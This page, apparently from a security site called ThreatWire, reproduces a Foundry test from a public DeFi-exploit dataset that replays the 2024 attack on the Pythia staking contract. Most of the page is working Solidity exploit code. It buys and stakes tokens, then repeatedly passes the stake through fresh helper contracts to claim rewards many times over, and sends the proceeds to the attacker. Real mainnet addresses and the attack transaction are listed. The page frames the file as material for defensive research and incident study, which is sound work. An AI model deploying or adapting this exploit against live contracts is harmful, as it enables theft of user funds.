Skip to content
THREATWIRE

Public reproduction file

src/test/2024-09/Pythia_exp.sol

Public reproduction file for dataset entry Pythia.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-09/Pythia_exp.sol102 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 21 ETH
8// Attacker : https://etherscan.io/address/0xd861e6f1760d014d6ee6428cf7f7d732563c74c0
9// Attack Contract : https://etherscan.io/address/0x542533536e314180e1b9f00b2c046f6282eb3647
10// Vulnerable Contract : https://etherscan.io/address/0xe2910b29252F97bb6F3Cc5E66BfA0551821C7461
11// Attack Tx : https://etherscan.io/tx/0x7e19f8edb1f1666322113f15d7674593950ac94bbc25d2aff96adabdcae0a6c3
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0xe2910b29252F97bb6F3Cc5E66BfA0551821C7461#code
16// @Analysis
17// Post-mortem : N/A
18// Twitter Guy : https://x.com/QuillAudits_AI/status/1830976830607892649
19// Hacking God : N/A
20pragma solidity ^0.8.0;
22address constant PYTHIA_STAKING = 0xe2910b29252F97bb6F3Cc5E66BfA0551821C7461;
23address constant PYTHIA_TOKEN = 0x66149ab384Cc066FB9E6bC140F1378D1015045E9;
24address constant UNISWAP_V2_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
25address constant WETH_ADDR = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
27contract Pythia is BaseTestWithBalanceLog {
28 uint256 blocknumToForkFrom = 20667429 - 1;
30 function setUp() public {
31 vm.createSelectFork("mainnet", blocknumToForkFrom);
32 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
33 fundingToken = PYTHIA_STAKING;
34 }
36 function testExploit() public balanceLog {
37 //implement exploit code here
38 vm.deal(address(this), 1 ether);
39 AttackContract attackContract = new AttackContract();
40 attackContract.stake{value: 0.5 ether}();
42 attackContract.claimRewards();
43 }
46contract AttackContract {
47 address attacker;
48 constructor() {
49 attacker = msg.sender;
50 }
51 function stake() payable public {
52 uint256 amountOutMin = 10 * 1e18;
53 address[] memory path = new address[](2);
54 path[0] = WETH_ADDR;
55 path[1] = PYTHIA_TOKEN;
56 IUniswapV2Router(payable(UNISWAP_V2_ROUTER)).swapExactETHForTokensSupportingFeeOnTransferTokens{value: 0.5 ether}(amountOutMin, path, address(this), block.timestamp);
57 IERC20 pythia = IERC20(PYTHIA_TOKEN);
58 uint256 bal = pythia.balanceOf(address(this));
60 pythia.approve(PYTHIA_STAKING, type(uint256).max);
61 IPythiaStaking(PYTHIA_STAKING).stake(bal);
62 }
64 function claimRewards() public {
65 IPythiaStaking spythia = IPythiaStaking(PYTHIA_STAKING);
66 IERC20 pythia = IERC20(PYTHIA_TOKEN);
68 for (uint256 i = 0; i < 30; i++) {
69 uint256 stakeBal = spythia.balanceOf(address(this));
70 Helper helper = new Helper();
72 spythia.transfer(address(helper), stakeBal);
73 helper.attack();
75 uint256 bal = pythia.balanceOf(address(this));
76 spythia.stake(bal);
77 }
78 spythia.transfer(attacker, spythia.balanceOf(address(this)));
79 }
82contract Helper {
83 function attack() public {
84 IPythiaStaking spythia = IPythiaStaking(PYTHIA_STAKING);
85 IERC20 pythia = IERC20(PYTHIA_TOKEN);
86 // uint256 bal = pythia.balanceOf(address(this));
87 uint256 stakeBal = spythia.balanceOf(address(this));
89 spythia.claimRewards();
91 uint256 bal = pythia.balanceOf(address(this));
92 pythia.transfer(msg.sender, bal);
94 spythia.transfer(msg.sender, stakeBal);
95 }
99interface IPythiaStaking is IERC20 {
100 function stake(uint256 amount) external;
101 function claimRewards() external;

Analysis

Dataset entry

Public Foundry test for “Pythia” (2024-09-02). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

12 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xd861e6f1760d014d6ee6428cf7f7d732563c74c0

  • Attack Contract

    0x542533536e314180e1b9f00b2c046f6282eb3647

  • Vulnerable Contract

    0xe2910b29252f97bb6f3cc5e66bfa0551821c7461

  • Attack Tx

    0x7e19f8edb1f1666322113f15d7674593950ac94bbc25d2aff96adabdcae0a6c3

File record

Name
Pythia
Path
src/test/2024-09/Pythia_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
f4f18ba5634f8c626ae90f26f40ecf775b25cd61
Language
Solidity
Size
103 lines
Date
2024-09-02
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-09/Pythia_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob f4f18ba5634f8c626ae90f26f40ecf775b25cd61, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.